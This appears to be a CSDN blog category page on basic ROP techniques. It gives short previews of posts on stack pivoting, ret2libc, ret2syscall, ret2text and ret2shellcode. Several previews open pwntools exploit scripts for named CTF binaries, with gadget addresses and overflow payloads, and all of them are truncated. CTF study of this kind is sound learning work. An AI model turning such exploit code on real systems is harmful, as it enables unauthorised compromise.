![](https://img-blog.csdnimg.cn/20201014180756757.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
基本的ROP
文章平均质量分 55
huzai9527
这个作者很懒,什么都没留下…
展开
-
栈迁移
栈迁移1.为什么需要栈转移?在栈空间不够存放payload的情况下,需要一个新的地址空间存放payload开启PIE保护,栈地址未知,我们可以将栈劫持到已知的区域2.概念劫持栈的rsp(ESP),使其指向其他位置,形成一个伪造的栈,在此栈中做ROP3.必要的gadgetpop ebp;ret 释放EBP,并连接伪造的栈leave;ret 更改ESP,指向后续的payload4.原理通过 pop ebp;ret + 伪造的栈让程序直接跳转到伪造的栈里面,然后为了保持栈平衡原创 2021-02-22 12:37:37 · 543 阅读 · 1 评论 -
ret2libc
1. buooj - ciscn_2019_c_1(64 位)from pwn import *#p = remote('node3.buuoj.cn',28190)p = process('./ciscn_2019_c_1')context.log_level = 'debug'puts_plt = 0x4006e0puts_got = 0x602020gets_got = 0x602050pop_rdi = 0x0000000000400c83main = 0x4009a0#ste原创 2021-02-03 22:07:53 · 443 阅读 · 0 评论 -
ret2syscall
1.ctfwiki-rop检查保护,开启NX检查溢出点gets函数存在溢出,并且提醒没有可用的system函数以及不可以用shellcode构造系统调用寻找eax寻找ebx、ecx、edx寻找int 0x80寻找 /bin/shexpfrom pwn import *p = process('./rop')context.log_level = 'debug'pop_eax = 0x080bb196pop_edx_ecx_eb原创 2021-02-02 18:18:38 · 215 阅读 · 2 评论 -
ret2text
1. buuoj-r2t3检查保护,开启NX寻找内存中存在的system函数地址寻找函数的溢出点这里构造的字符串长度超过int8的表示范围。如下图,只要后面八位在范围之内即可expfrom pwn import *context.log_level = 'debug'p = process('./r2t3')shell = 0x804858b# step 1 构造栈溢出payload = b'a'*0x15 + p32(shell) # step 2原创 2021-02-02 14:02:02 · 143 阅读 · 0 评论 -
ret2shellcode
1. buuoj—ciscn_2019_n_5(64位)查看保护,没有开启NX,RELOAD也没有完全开启shellcode 的存储地址首先读入name,这里可以作为shellcode 的地址,其次gets() 函数,在获取gets 时存在栈溢出name在bss 段的位置expfrom pwn import *p = process('./ciscn_2019_n_5')elf = ELF('./ciscn_2019_n_5')context.log_lev原创 2021-02-02 13:57:16 · 136 阅读 · 0 评论